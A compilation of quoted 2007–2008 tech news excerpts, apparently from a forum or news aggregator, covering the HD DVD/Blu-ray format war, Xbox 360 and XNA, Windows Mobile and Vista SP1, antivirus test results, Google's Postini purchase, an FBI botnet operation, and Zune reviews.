While the entertainment industry hopes a guilty verdict will deter other Swedes from file sharing, it acknowledges that making more entertainment available for legal download would help.

"New services are being explored," says Geraldine Moloney, a spokeswoman in Europe for the MPAA. "The industry is committed to offering film fans as much choice as possible."
[/QUOTE]

Source: http://online.wsj.com/

[QUOTE]
Microsoft Corp's Xbox video gaming unit still fully backs Toshiba Corp's HD-DVD high-definition DVD format but could consider supporting Sony Corp's rival Blu-ray technology should consumers want it, an executive said on Tuesday.

"It should be consumer choice; and if that's the way they vote, that's something we'll have to consider," Albert Penello, group marketing manager for Xbox hardware said when asked whether Microsoft would support a Blu-ray DVD accessory in the event that HD-DVD failed.

Microsoft does not believe the surprise decision last week by Time Warner Inc unit Warner Bros, the top seller of home movies, to abandon HD-DVD format in favor of Blu-ray should affect sales of its Xbox 360 video game console, Penello said.

"I fundamentally don't think ... this has a significant impact on Xbox 360 versus (Sony's) PlayStation 3," Penello told Reuters in an interview at the Consumer Electronics Show in Las Vegas.
[/QUOTE]

Source: guardian.co.uk

[QUOTE]
We're looking for a few 2D and 3D games created using XNA Game Studio for an upcoming opportunity to showcase the great work our community has been doing since we released the tools over a year ago. This could be the chance you and your game have been waiting for to enjoy the spotlight and anything that may come as a result. You will additionally have a chance to participate in an upcoming closed beta of a new XNA technologies.

If you have a game you are working on and would like for it to be considered, submit the following to xna@microsoft.com:

• Name of your game
• Brief description of your game
• Brief team bio including where you are located
• Up to 3 screenshots of your game (please limit the sizes of the screenshots to <1MB total)
• Optional: Link to gameplay footage

All submissions must be received by January 18, 2008 in order to be considered (inbox date stamp will be used GMT-8). Everything pertaining to your game concept, screen shots, demos, etc. will remain yours. If selected, we will contact you directly with more details on the opportunity. Submissions to xna@microsoft.com will not be shown or used publicly without your consent.
[/QUOTE]

Source: XNA Team Blog

[QUOTE]
The weekend saw devastating news arrive that's all but killed off HD DVD as a next-gen video format - Warner Bros. has dumped HD DVD and will release its films only on Blu-ray from May of 2008.

But insiders over at the AVS Forums - who are proper, actual insiders who work for companies like Microsoft, Universal and representatives of the Blu-ray consortium - reckon the decision could've gone either way.

Warner dumping HD DVD for Blu-ray went down to the wire - and it could've been persuaded, along with 20th Century Fox, to go exclusively with HD DVD instead.
In fact, they both nearly DID - an agreement was apparently in place between Warner, Fox and HD DVD backer Toshiba for the HD DVD WIN SCENARIO, only for Fox to pull out at the last minute and go crying off to Sony instead. Which gave Warner cold feet, so it went Blu-ray as well. It really was that close to being an HD DVD victory.

So if Warner and Fox had gone for HD DVD it'd be Blu-ray that'd look like the failed format today, and perhaps Bill Gates just might've pulled out an HD DVD-packing Xbox 360 from under his podium at CES last night, rather than blather on about a few new downloadable films instead.

In fact, I'd bet money that Microsoft's much-rumoured HD DVD-enabled Xbox 360 was one of the deals on offer to tempt Warner to support HD DVD exclusively in a "you support our format, we'll send out a few million more players over the next year" kind of deal.

But now Warner has dumped HD DVD, effectively killing the format, Microsoft has binned the prototype HD DVD 360 as well. Out of SPITE (and business sense).

No doubt we'll find out what really happened here in a few years, once the anger has subsided and the council has helped drain all the tears away. It's all been a terribly exciting weekend in the HD format war, in the geekiest and saddest way possible.

Related posts
Microsoft literally GIVING AWAY five HD DVD movies
Paramount dumps Blu-ray support and goes HD DVD exclusive

[/QUOTE]

Source: xboxer.tv

Direct from retailers all over the world, www.vgchartz.com present the latest next-gen console sales:

Source: www.vgchartz.com

Earlier this evening Bill Gates gave his final Microsoft keynote at the 2008 CES show in Las Vegas.  Throughout the keynote he made many references to what he will do with his free time once he retires from day to day operations at Microsoft. It turns out Bill has big plans in addition to his foundation after all.

 
Video: Bill Gates Last Day CES Clip

Footage Source: CES Keynote WebCast, www.tweakvista.com

[QUOTE]
We’ve already had the Xbox 360 Premium and Elite. Both are, of course, fine gaming machines with the best games catalogue in the next-gen field. But come autumn 2008, we reckon both will be rendered obsolete by the Ultimate.

This PS3-killer will benefit from almost three years of Xbox development, featuring 1080p HDMI output, built-in Wi-Fi, hi-def audio output, cooler 65nm hardware architecture and a near-silent fan.
It’ll also have the ability to make the most of the by-then established Xbox IPTV service, which will mean recording TV shows to its vast 320GB hard disk and watching live TV shows via your broadband provider.

But the piece de resistance? It’ll have a built-in HD DVD drive. Let Round 12 with the PS3 commence...
[/QUOTE]

Source: http://stuff.tv/

[QUOTE]
The downside [of 2007] is that it was also full of disappointments large and small, from new memory technologies to nearly-broken operating systems (and we're not talking about Windows Vista). 2007 saw some hotly-awaited technologies sputter; they failed to live up to their lofty potential. That's not to say they never will; they just didn't by the end of this year.

10. DDR3
9. The VoIP Revolution
8. Safari for Windows
7. Mac OS X Leopard
6. Tech Piling Up in Landfills
5. The Never Ending Format War
4. DirectX 10
3. Games for Windows Live
2. AMD's CPU Lineup
1. Gaming as the Universal Boogieman

[/QUOTE]

Source: extremetech.com (2 pages)

[QUOTE]
To some music lovers, the fact that Josh Groban's Noel was the highest-selling album of 2007 is all the proof they need that major-label music is dying. To shareholders and label execs, though, the numbers are more important, and the numbers are grim: music sales are down 21 percent this Christmas season.

Variety has the latest music numbers from Nielsen Soundscan on music sales from Thanksgiving to Christmas Eve. In 2007, 83.9 million albums were sold, down 21.4 million from last year. A 20 percent drop in sales is more than a blip; it's serious trouble.

The industry has been under pressure for years, of course. Back in August, we took a detailed look at trends in the movie, music, and video game businesses and noted that RIAA companies have seen sales drop by 11.6 percent between 2002 and 2006, even as movies hold steady and games are showing sales increases.

Data sources: RIAA, MPAA, The NPD Group

The recent news suggests that people are turning away from the CD as a Christmas present, due in large part to the rise of online music services like iTunes, eMusic, and the Amazon MP3 shop. Now that non-DRMed music is widely available from many popular artists, giving the gift of digital downloads can be an attractive option for holiday shoppers. Certainly it's becoming more mainstream; even my local supermarket now stocks iTunes gift cards.

Music buying has certainly been migrating online, and the spectacular decline of CD sales is putting extra pressure on labels to move more online copies of the music they publish. This is clearly one of the reasons that Warner, traditionally a staunch DRM defender, agreed to strip DRM from its tracks offered on Amazon; it needed to do something (anything) to shore up flagging sales.

But as albums move online, the "album" is also losing its luster. Download services let consumers pick and choose, and many buyers seem to do just that, snagging the hits and leaving the rest behind. While digital distribution enables this, it's hard to blame digital for the common perception that most top 40 albums contain their share of filler.

Padding out discs with mediocre tracks just won't work anymore, but it might also keep listeners from discovering the deeper cuts on quality discs. It's not just a sad day for music companies when customers decide to cherry-pick one Josh Ritter song, for instance; it's a sad day for the buyers as well, as they miss out on the complete album experience of a consummate artist.

Sadly, Ritter and his kind are the exception; so long as they are, music fans will continue to grab the hits, and they'll do so online. At least now they can get them DRM-free.
[/QUOTE]

Source: http://arstechnica.com

[QUOTE]
Windows Mobile, like Windows itself, has had a checkered history. Early versions were maligned as being feature-poor and difficult to use. However, in a tale familiar to anyone who has followed Microsoft, the company stuck at it, and the portable operating system started to come into its own. The most recent release, Windows Mobile 6.0, added Vista-like themes to go along with a significant upgrade to the OS internals. Having conquered Palm in the dying PDA market, Windows Mobile was now ready to go toe-to-toe with other phone operating systems and platforms such as BlackBerry, Symbian and various Linux derivatives.

All seemed well in Windows Mobile land, but then Apple released the iPhone running a stripped-down version of OS X and a new multitouch user interface. Despite Steve Ballmer's prediction that the phone had "no chance" of gaining significant market share, a recent survey by Net Applications showed the iPhone actually overtaking Windows Mobile in web browsing share: 0.09 percent for the iPhone versus 0.06 percent for all Windows CE and Mobile devices put together. All of a sudden Windows Mobile phones seemed like they were stuck in the past, and minor UI annoyances stuck out like a sore thumb.

Windows Mobile 6.1.

Never one to back down from a challenge, Microsoft is busily preparing both a minor UI refresh (Windows Mobile 6.1) and a major new release of the operating system (Windows Mobile 7.0). A gallery of screen shots from the 6.1 refresh compiled by Boy Genius shows an emphasis on simplification: the screens are more task-oriented and have less clutter than their immediate predecessor. A new and clearer font adorns the UI, and new features such as zooming, copy and paste in Internet Explorer, and auto-configuring ActiveSync for e-mails are sure to be welcome additions to the platform. In addition, Microsoft is making it easier (and more Windows-like) to switch tasks by adding a standardized task manager to the platform.

As far as Windows Mobile 7.0 goes, there are no leaked screen shots as of yet, but big changes are afoot. Microsoft plans to completely redo applications such as Internet Explorer, bringing the mobile browser up to par with Apple's Mobile Safari. The e-mail and SMS applications are also scheduled for complete rewrites. Microsoft plans to make the user interface even more consumer-friendly.

Beyond 7.0, Microsoft is even hinting at a completely redesigned Windows Mobile 8.0, which will again redo the internals of the operating system to keep up with newer and more powerful mobile hardware. Details for this release are scarce, although Microsoft promises features such as being able to go from a person's address in their contact info directly to a map view with directions to where they live. It all sounds like the iPhone really lit a fire under the posteriors of the Windows Mobile team, and that can only be good news for smartphone users.
[/QUOTE]

Source: http://arstechnica.com

Further reading:

• Gizmodo has an in-depth interview with a couple of members of the Windows Mobile dev team, discussing what they believe is wrong with Windows Mobile 6 and how they plan to fix it
• Microsoft may have iPhone on the brain as it works on future versions of Windows Mobile, but CEO Steve Ballmer isn't too concerned about Google's Android platform.
• Windows Mobile 6 was released last February. Reread our impressions of it as you look ahead to Windows Mobile 6.1 and 7.0

Related Stories:

• Microsoft exec: Zune phone "not unreasonable"
• Microsoft hopes to double smartphone sales once again
• New Windows Mobile "Crossbow" reviews hit the 'Net
• Find your way with Garmin's Mobile XT microSD card for smartphones

[QUOTE]
New XNA Game Studio 2.0 From Microsoft Enables Creation of Online Multiplayer Games Using LIVE
Microsoft Corp. today marked the next step in its initiative to democratize game development and unleash the creativity of the community with the release of the XNA Game Studio 2.0, the next generation of the popular game development platform for Xbox 360 and Windows. The new version builds upon XNA Game Studio Express, released one year ago, and includes the ability to create online, cross-platform multiplayer games for Xbox 360 and Windows using Xbox LIVE and Games for Windows -- LIVE, respectively. XNA Game Studio 2.0 adds more than 15 new features and is available for download from http://creators.xna.com.

"When building XNA Game Studio 2.0, we wanted to offer everyone the opportunity to utilize the rich gaming environment of LIVE used by AAA developers for titles such as 'Halo 3' and 'Gears of War,'" said Chris Satchell, general manager of the XNA organization at Microsoft. "We accomplished our goal with this new toolset, and, best of all, it remains highly accessible to students, hobbyists and pros alike." Many of LIVE's best features are supported by XNA Game Studio 2.0 with minimal to no coding necessary to activate them -- features like matchmaking, which uses LIVE to find the best games for you to play based on your location and internet connection. Additionally, XNA Game Studio 2.0 fully supports game development with all versions of the Microsoft Visual Studio product line.

XNA Creators Club Academic Trial Memberships Now Free to Qualified Students and Faculty
Since its release last December, XNA Game Studio has been an incredible success, with 750,000 downloads, adoption by more than 300 universities worldwide and at least nine textbooks on the tools in development. In subjects from computer science to fine arts, introductory courses to graduate and research projects -- XNA Game Studio is helping faculty members and students explore the boundaries of applied gaming technology in education. Along with XNA Game Studio 2.0, Microsoft will also provide a free academic trial membership in the XNA Creators Club beginning in January, allowing faculty members and students to use XNA Game Studio 2.0 and Xbox 360 for instructional purposes.

Time to Dream-Build-Play Again
From more than 4,500 entrants from around the world, four community games were awarded Xbox LIVE Arcade publishing contracts in this year's Dream-Build-Play game development competition. Microsoft will once again challenge aspiring game developers to create their dream games for a chance to win more coveted publishing contracts. This week Microsoft kicks off registration for Dream-Build-Play 2008 with the Silicon Minds Warm-Up Challenge. Registration begins on Dec. 14 and winners will be announced at the Game Developers Conference where details of the main challenge will be announced. Run in partnership with Microsoft Research's Machine Learning Group in Cambridge, England; Rare Ltd.; and Lionhead Studios, prizes for the Warm-Up Challenge will include the once-in-a-lifetime opportunity to interview for an internship with one of those organizations.

"Artificial intelligence is so important to the games we make at Lionhead Studios, and we are very excited to see what the community can come up with in this Warm-Up Challenge to Dream-Build-Play 2008," said Peter Molyneux, managing director at Lionhead Studios. "We are always on the lookout for the best talent and believe that XNA Game Studio 2.0 will be a great platform for contestants to showcase their skills on." More information about Dream-Build-Play 2008 is available at http://www.dreambuildplay.com.
[/QUOTE]

Official Site/Download: http://creators.xna.com

[QUOTE]
On the console front, last-gen consoles still rule in US households in terms of usage. PS2 captured 42 percent of all measured console minutes, while Xbox garnered 14 percent. Xbox 360 had 12 percent while PS3 had 3 percent.

Video Game Console Usage April-November 2007:

1. PS2 42.2%
2. Xbox 13.9%
3. Xbox360 11.8%
4. Gamecube 7.1%
5. Wii 5.5%
6. PlayStation3 2.5%
7. Other 17.1%
   

[/QUOTE]

Source: next-gen.biz

[QUOTE]
Researchers at Virus Bulletin have released the results of the latest VB100 computer security test, highlighting failures at a number of leading security vendors.

Products from Sophos, Trend Micro and Kaspersky were among those that failed to protect fully against a collection of outdated viruses.

The December edition of the VB100 test subjected security software to 100 Windows 2000 viruses collected from labs and websites.

"It was a shock and a concern to see such a poor performance from so many products in this latest round of testing," said John Hawes, a technical consultant at Virus Bulletin.

"It is particularly disappointing to see so many major products missing significant real-world threats."

In order to pass the test, vendors needed to identify 100 malware samples as well as avoid reporting false positives on clean samples.

Kaspersky failed the test by missing one virus from the list, while Sophos missed eight. Trend Micro missed four virus samples, failing VB100 certification for the fourth time in five tests.

Trend Micro products had passed 13 consecutive VB100 tests. The company declined to comment on the results.

Other notable security products failing the VB100 test included PC Tools' Spyware Doctor, which recorded two false positives, and Norman Virus Control, which missed 14 samples and recorded six false positives.

Companies whose products passed the test included BitDefender, Symantec, McAfee, Sunbelt and Microsoft.
[/QUOTE]

Source: http://www.vnunet.com

[QUOTE]
Today we're making available the release candidate (RC) of Windows Vista SP1 via Microsoft Connect, and tomorrow subscribers to TechNet and MDSN will have access to those RC bits too.  In addition, the RC will be available to the public next week via Microsoft's Download Center. The release candidate phase of beta software is typically the final phase before the RTM (release-to-manufacturing) of a product and indicates that the code has attained a significant level of performance and stability.

Let me call out several changes made since the Beta release of Service Pack 1 -- many of which came about as a result of direct feedback from our Beta-testing community (thank you!):

• The size of the standalone installers have decreased significantly. For example, the standalone installer packages consisting of all 36 languages (x86 and x64 chip architectures) are smaller by over 50%. The standalone installer packages consisting of just the 5 languages (again, x86 and x64) slated for initial release are more than 30% smaller in size.
• The required amount of disc space for SP1 installation has also decreased significantly. Furthermore, with the RC, if more space is required to install SP1, an error message will now display exactly how much space is needed to complete the installation.
• Previous SP1 versions left behind a directory of files that wasn't needed after installation and occupied about 1GB of space; the RC includes automatic disk clean-up to remove this directory.
• Installation reliability has been improved based on bug reports and error codes reported from Windows Update (thanks, Beta testers!). Testing shows that these improvements have significantly increased the proportion of successful installations of the RC.
• We've improved the user experience of installing SP1 via Windows Update. During the Beta release, users installed without much guidance from Windows Update. The RC now contains a series of screens with detailed information on SP1.

We also have information to share with IT professionals and system administrators regarding final plans for SP1:  we're on track to complete and release SP1 in the first quarter of 2008.  When SP1 is complete and we reach our release to manufacturing (RTM) milestone, then shortly after the standalone installer will be released to the Web in two waves.  The first wave will consist of the standalone installer (x86 and x64) for the 5 initial languages -- English, French, Spanish, German and Japanese.  These languages will be deployed shortly after the RTM milestone.  The second wave will launch 8-12 weeks after the first and will consist of all remaining languages, for both chip architectures (x86 and x64).

For administrators managing Windows Vista PCs configured to use Windows Update but not wishing to deploy SP1 upon its release, we have a "blocker patch" that will prevent installation of SP1.  Information on the blocker patch can be found here starting tomorrow: http://technet.microsoft.com/windowsvista/bb927794.

If you're not familiar with SP1, you can find more information in this whitepaper.  We built Windows Vista SP1 to address specific reliability and performance issues and also to support new types of hardware and several emerging standards.  Further, SP1 is designed to make it easier for IT administrators to deploy and manage Windows Vista.  Of course, those of you familiar with SP1 already know that some of SP1's improvements are already available via Windows Update.

A reminder to anyone installing the SP1 RC bits: you will need to uninstall the release candidate of SP1 before you can install a later version.

Also, Windows Server 2008 RC1 was made available today for testing; find the download here: http://www.microsoft.com/ws08eval.  And, we announced two updates to the WGA program yesterday:  the first addresses two exploits to the activation process while the second adjusts how Windows differentiates between the genuine and non-genuine Windows Vista experience.  More information can be found here: http://www.microsoft.com/presspass/features/2007/dec07/12-03wga.mspx.

And last, thanks once more to our Beta testing team for their diligence and devotion, as you've made a big impact on this RC release!
[/QUOTE]

Source: http://windowsvistablog.com/

[QUOTE]
As a Program Manager in spam filtering in Exchange Hosted Services, there are plusses and minuses.  The advantages are described here.  But it's not all fun and games.  There are some drawbacks.

1. Program managing means following up on the little stuff.  In Microsoft, a PM is responsible for overseeing a project.  That doesn't mean that they do the work, but they do need to follow up on stuff.  That's probably a part of the job that I like the least.  For example, let's suppose that we are creating a new internal delisting project, I would be the one to follow up with the NetOps department, talk to Service Automation about writing the replication script, and so forth.  Lots of little things that have got to get done that take up lots of time when added together.
   I understand that this is something that has to get done and is vital to the operation of the feature and to the company.  What I don't like is that following up on all this stuff takes up time from doing spam analysis.  It's a tradeoff in getting a feature done vs analyzing trends and figuring out how to make our product better.
2. Program Managers are not supposed to code... but sometimes I want to.  During our previous feature development, there were a few times when I really wanted to do some of the coding myself in order to get it done.  But, at least in Microsoft, PMs by-and-large are not supposed to code.  We're supposed to delegate.  But man, it can be really frustrating wanting to do it myself.
3. The lack of time to drill down into spam.  I used to keep very close tabs on what was going on in the world of spam because I processed so much of it.  Now, I rarely get to see it because I'm doing other stuff.  I still do my best to keep up with general spam trends, but I do miss the daily battle from time to time.
   This is a double-edged sword.  I like processing spam from time to time, but not all the time.  About 15 minutes a week going through it is all I need.

So like anything in life, there are tradeoffs.  But at this point I think that the advantages outweigh the disadvantages.
[/QUOTE]

Source: http://blogs.msdn.com/tzink

[QUTOE]
Google has announced the acquisition of communications security and compliance company Postini for $625million.

Postini offers a number of on-demand communications security and compliance solutions and serves more than 35,000 businesses and 10 million users worldwide. Postini’s services include message security, archiving, encryption, and policy enforcement tools which can be used to protect a company’s email, instant messaging, and other web-based communications platforms. Notably Google was already utilizing Postini technology with Gmail; the acquisition would appear to be a case of Google wanting to own a technology it was already using under license.

The acquisition of Postini comes as a surprise following rumors in June that the company was working towards an IPO.

Dave Girouard, Vice President & General Manager, Google Enterprise wrote on the Google Blog of the need for Google to deliver products that support complex business rules, information security mandates, and an array of legal and corporate compliance issues.

We realized that we needed a more complete way to address these information security and compliance issues in order to better support the enterprise community. That’s why we’re excited to share the news that we’ve agreed to acquire Postini, a company that offers security and corporate compliance solutions for email, IM, and other web-based communications. Like Google Apps, Postini’s services are entirely hosted, eliminating the need to install any hardware or software. A leader in its field, Postini serves more than 35,000 businesses and 10 million users, and was one of our first partners for Google Apps. Their email and IM management services include inbound and outbound policy management, spam and virus protection, content filtering, message archiving, encryption, and more. We will continue to support Postini’s customers and we look forward to the possibilities ahead.

The acquisition is expected to be finalized by the end of the third quarter 2007.
[/QUOTE]

Source: http://www.techcrunch.com/

[QUOTE]
We've officially acquired Postini
9/13/2007 03:07:00 PM
Posted by Dave Girouard, Vice President & General Manager, Google Enterprise

As of today, Postini becomes a wholly owned subsidiary of Google, and we couldn’t be happier about it. (Here's the FAQ.) Since July 9, when we announced the agreement to acquire Postini, plenty of businesses have told us how much they respect Postini and how the acquisition makes sense for customers of both companies.
We view this as welcome news, but also a sign of things to come. With the more than 100,000 businesses on Google Apps, 35,000 businesses and more than 10 million users of Postini products, we see great potential on both sides. We're committed to continue to deliver the type of innovative and useful business products our customers have come to expect. And we plan to announce even more product offerings in the very near future. Separately, both companies shared a vision for what the world of hosted applications can become for businesses of all sizes. Together, we look forward to achieving it.
[/QUOTE]

Source: http://googleblog.blogspot.com/

[QUOTE]

It’s the season for online shopping and spending, and you’ll be glad to know that we’ve stepped up our fight against one of the most serious cyber security threats just in time for the holidays.

That threat involves what are called ‘botnets’—armies of personal computers taken over by cyber criminals and used on the sly to commit all kinds of mischief, from identity theft to denial of service attacks to massive spam campaigns. Bah, humbug.

In June, we announced the first phase of Operation Bot Roast, which pinpointed more than a million victimized computers and charged a number of individuals around the country with various cyber-related crimes.

Today, we’re announcing part two of this operation, with more results:

• Three new indictments, including two this past month. In one case, we uncovered a denial of service attack on a major university in the Philadelphia area and then knocked out much of the botnet by disrupting its ability to talk to other computers.
• Two previously charged criminals who pled guilty, including a California man who is a well known member of the botnet underground.
• The sentencing of three others, including a pair of men who launched a major phishing scheme targeting a Midwest bank that led to millions of dollars in losses.

Our investigations spanned the country, including our field offices in Cincinnati, Detroit, Jacksonville, Los Angeles, Philadelphia, Sacramento, and Washington, D.C., which worked closely with a great many partners, including the Secret Service and Immigrations Customs Enforcement.

And these cases spanned the globe, involving information sharing and coordination with international colleagues like the New Zealand police. This week, authorities there conducted a search of the residence of the supposed ringleader of an elite global botnet coding group who goes by the cyber name of “AKILL.”

The collective toll revealed so far in our operation has been significant, both at a national level and a personal level. To date, we’ve uncovered more than $20 million in economic losses. In one case, a victim confirmed damages of nearly $20,000 in denial of service attacks via botnets.
[/QUOTE]

Source: http://www.fbi.gov/

[QUOTE]
The $249 Zune 80 is Microsoft's latest attempt to kick the iPod in the nuts, praying to crack Jobs' titanium-diamond alloy cup through Wi-Fi features and a touch of divine intervention. CNET, Wired, Dean Takahashi, PCWorld and YahooTech struck first with reviews on the new device. Their verdicts? The cup has not yet been breeched, but Microsoft is making very solid improvements on the brand.

PCMag
We'll just come out and say it: The 80GB Zune trumps the iPod Classic...For the same $250 price as the 80GB iPod classic, the new Zune 80GB offers a much larger screen, FM radio, wireless player-to-player sharing, Wi-Fi syncing with your PC, and a rear panel that can be customized with some cool artwork--for free. Simply put, Apple is no longer the leader in the realm of hard drive-based players. While the Zune 80GB and the iPod classic are both outstanding devices, the Zune has more features--and it's more fun.

CNET
The 80GB Zune cuts a much slimmer figure than its bricklike older brother. Measuring 4.3 inches high by 2.4 inches wide by 0.5 inch deep, Microsoft shaved some considerable bulk off the Zune's thickness, while nearly tripling its capacity...we believe the latest crop of Zunes should finally take hold as a true iPod alternative. (83/100)

PCWorld
All of the new Zunes are built around a rounded touch-sensitive control that also doubles as a clickable d-pad-style controler, much like the Click Wheel on Apple's iPods. Flick your thumb up or down the pad repeatedly, and you begin to build up momentum while scrolling through long lists. At any time, you can tap to stop the scrolling, though it will eventually come to stop naturally. In my experience, it's a very fun way to navigate through a music collection, even in a long view of artists on the 80GB player...All in all, the 80GB Zune is a decent choice as an 80GB MP3 player. (no score at this time)

Wired
Video performance is very good, with the screen size really helping...Battery life didn't meet the published specs of 20 hours for music and 4 hours for video with the Wi-Fi turned off. My rundown test on music was 18 hours, and video was 3.5 hours, which is, you know, fine.... Would I recommend the Zune? Yeah, I think I would. If you're not invested in the iPod/iTunes ecosystem, it's the most polished competitor I've used to date. Especially if you're looking for a subscription service, the integration of player and service just crushes everyone else. (6/10)

YahooTech
...the most innovative new feature on the Zune: wireless syncing. Setup was a piece of cake: you just connect the Zune to your PC via USB, fire up the Zune software, and enable wireless syncing under the Settings menu. If your system is already connected to a wireless network, those settings are transferred to the Zune automatically—no need to key in the access point name or password...automatic syncing only works when the Zune is plugged into its charging dock. Overall, I thought wireless syncing worked pretty seamlessly, and I loved being able to sync new songs and playlists over the air (why can't the iPhone or the iPod Touch do this?)

Dean Takahashi
The Zune Marketplace website looks better than iTunes because it feels less like a spreadsheet. It still uses the MTV Urge back-end but is completely redesigned.... All of these things represent improvements that allow Microsoft to claim that it is going its own way. Clearly, they aren't copying Apple...At this rate of improvement, Microsoft will be a contender. But it has a long way to go before it keeps Steve Jobs up at night.

- Zune fans should be happy with the improvements, but even more, that the big new features are software based and free for everyone.
[/QUOTE]

Source: http://gizmodo.com/

[QUOTE]
File-sharing sci-fi fans get an early taste of the upcoming made for TV movie.

For you "Battlestar Galactica" fans out there who are having a hard time waiting for April 2008 and season 4 to roll around, I ran across an interesting pre-release DVD the other day on BitTorrent and figured that I'd share the news here if you haven't seen it for yourself already.

"Battlestar Galactica: Razor" is a made-for-TV movie not scheduled to air until November 24th, 2007 on the Sc-Fi Channel, but its leak to BitTorrent means fans of the series can get an early look.

The plot outline from Wikipedia:

Wartime atrocities dating back to the First Cylon War over forty years before, and others more recent, haunt Admiral William Adama, young Battlestar Pegasus officer Kendra Shaw, and her mentor Admiral Helena Cain.

For the officers, Viper pilots and Marines of the Colonial Fleet, there is no higher honor than to be judged a "Razor." Nor is it an honor that can be earned in peacetime. Razors are forged in the heat of battle as fear, hesitation, and any other instinct that can spell the difference between life and death are burned away until what remains is an unflinching human weapon. Only that Razor's edge can cut two ways: it can slash an enemy or cleave away a warrior's soul.

One such warrior is the ambitious young officer Kendra Shaw. On the eve of the Cylon attack, she reports for duty on her new ship - the Battlestar Pegasus, under the command of Admiral Helena Cain - and embarks on a harrowing six-month struggle for survival with its crew. Taken under Cain's wing, Shaw becomes her protégé, a surrogate daughter, and finally an extension of the Admiral's own ruthless will. Nothing less than a Razor.

After Admiral Cain's death, Shaw's beliefs are challenged when she's chosen to assist Pegasus' new commander, Lee Adama, on a mission to destroy a heavily guarded Cylon base ship along with the mysterious entity it was built to protect. When the mission goes badly wrong, a wounded Shaw and Kara Thrace are forced to hole up on the Cylon ship. As the hope of rescue grows dim, the two battle-hardened warriors forge a bond and Shaw begins to confess the details of a tragic wartime incident she took part in under Admiral Cain, an incident that has haunted her ever since.

A Razor to the end, Shaw ultimately fulfills her mission, and in the process finds a measure of redemption tempered by a chilling warning she is unable to pass on. Lee Adama, meanwhile, struggles with his own razor-sharp demons as he faces the challenges of his first command, and the dire choices it entails - choices not dissimilar to the traumatic dilemmas that had shaped the commands of his father and Helena Cain a generation earlier in the First Cylon War.

A friend of mine has had a chance to see it already and he said it's made the wait for season 4 to start even tougher.

In doing a bit of background research for this article I stumbled across a season 4 spoilers page on Battlestar Wiki( yes, there's a Battlestar Wiki). There's a bunch of interesting new plot developments on there to sink your teeth into. Without giving too much away, it does mention that a revolt by Centurions against their humanoid masters will take place early on.
[/QUOTE]

Source: http://www.zeropaid.com/

[QUOTE]
To claim your 500 Microsoft Points [MS offers to active member who joined the service in 2002], all you have to do is register on this web site using your Windows Live ID associated to your gamertag. You can register until midnight (Pacific Time) on November 29, 2007, and after you do so, you will receive an e-mail with a 25-digit code that lets you to activate your Microsoft Points through your Xbox 360 console. Don't expect that email to arrive instantly as the deadline for that email is December 21, 2007.
[/QUOTE]

Full Story: teamxbox.com

PocketInfo.NL reports that they have information from a reliable source than a new interface for WM 6.1 will be introduced at 3GSM next year, with devices shipping in May 2008. The new interface will be based on the same principle as Windows Media Centre, with a vertically scrolling list and horizontal options. One can only hope the cool WMC eye candy also makes it onto the mobile platform, as well as an improved media player for WM (Zune-like?)An early preview would be the Vodafone carousel as found in the Treo 500v, which was created in a partnership with Vodafone and Microsoft.

There will apparently be further improvements in WIFI functionality (squiring?) and Bluetooth pairing, and improvements in Exchange 2007 integration.

Its clear that if Microsoft wants to compete with Apple in the consumer space they need to up the eye candy. Here’s hoping they do a good job without gimping the power of the OS.

[QUOTE]
Two closely timed events—today's release of Mac OS X Leopard and yesterday's big Microsoft earnings report—raise questions yet again about how Microsoft and Apple are perceived.

Apple it seems can do no wrong, while Microsoft can do no right. If someone passes gas in the room, someone blames Microsoft. Yet Apple can "brick" iPhones for which customers paid $400 to $600 and sales just soar.

Microsoft reports solid earnings quarter after quarter—and yesterday beat earnings estimates by more than $1 billion. Yet Microsoft's stock price is stuck at 2001 levels. Apple earnings results are good, but nowhere near what Microsoft delivers. Yet Apple's stock just climbs and climbs—this morning to more than $185 a share, up from about 77 bucks 52 weeks earlier.

A decade ago, things were different. Following the release of Windows 95, Microsoft could do no wrong. The company got huge preferential press treatment. I recall the week that Corel released the first new version of WordPerfect Suite since the acquisition from Novell. Microsoft talked up the unreleased Office 97, which got the majority of the press coverage.

By contrast, Apple was perceived as gasping for air, as being an also-ran. During the Gartner Symposium in October 1997, Dell CEO Michael Dell said how he would solve the Apple problem: "What would I do? I'd shut it down and give the money back to the shareholders." A decade later, Apple's market capitalization is about two-and-a-half times Dell's.

Apple's success is one of perception, spurred on by some very smart marketing and branding decisions made over the past six years. Apple is a cool brand that people want to be associated with. When people really like something, they also tend to be more forgiving of faults.

By contrast, Microsoft has huge perceptions problems, many of its own making. For years, Microsoft rushed OK products to market, leading to a popular (and usually right) perception that the company wouldn't get it right until the third release. Marketing 101: The products are the company, and its image. I hear people complain about buggy, crashy Windows, years after Microsoft released the very stable and reliable XP and, later, its Service Pack 2 update; the days of perennial crashes are long gone, but not forgotten.

Microsoft's past behavior has created some perception that its products aren't good enough, that the company doesn't care for customers. Windows Vista is a poster product for Microsoft's perception problems: It's got an undeserved bad reputation.

Perhaps a good analogy for comparing perceptions about Apple and Microsoft is to look at Beatles leaders John Lennon and Paul McCartney. Lennon could do no wrong, even when he really did no right (other than the Beatles being greater than Jesus fiasco). Lennon had a reputation for being a man of the people, a champion of peace and love.

But what did he really do? Lennon's idea of peace: sleep-ins and singing a song about peace for which he made millions. Lennon later lived in a posh apartment off Central Park, far removed "the people." By contrast, the more conservative (an arguably more boring) McCartney did more and toured more. His song, "Hey Jude," was written for Lennon's son Julian, who was essentially ostracized from his father after the Yoko Ono affair. Lennon was perceived to be the better Beatle, but McCartney showed more character, and he is the better songwriter.

Perception often isn't reality.

This week, a number of tech journalists gave glowing reviews of Leopard. They received the software on Mac Book Pro laptops provided by Apple. Nowhere have I seen anyone gripe about conflicts of interest. But when Microsoft's PR agency sent bloggers preloaded Vista notebooks ahead of the operating system's launch, there were ridiculous accusations of attempted bribery. The accusations made it difficult for those receiving the Vista units to say anything positive about the operating system.

Yesterday, I casually spoke (nothing through official channels) with a developer from PlantCML, which provided the reverse-911 system used to warn people in San Diego County to evacuate; wildfires ravaged the county this week. He praised Microsoft, which provided technicians throughout the weekend as PlantCML prepared for impending trouble. It's that kind of behind-the-scene support and service to partners for which Microsoft delivers but doesn't get enough credit.

Contrast Microsoft to Apple, which has a reputation for secrecy and being partner unfriendly. Apple's nearly 200 retail stores compete with loyal dealers and resellers. For years I've heard developers complain about Apple information disclosure; iPhone is the most recent example. Apple's move to Intel processors forced its two largest development partners, Adobe and Microsoft, to switch development tools and do massive recoding to port software.

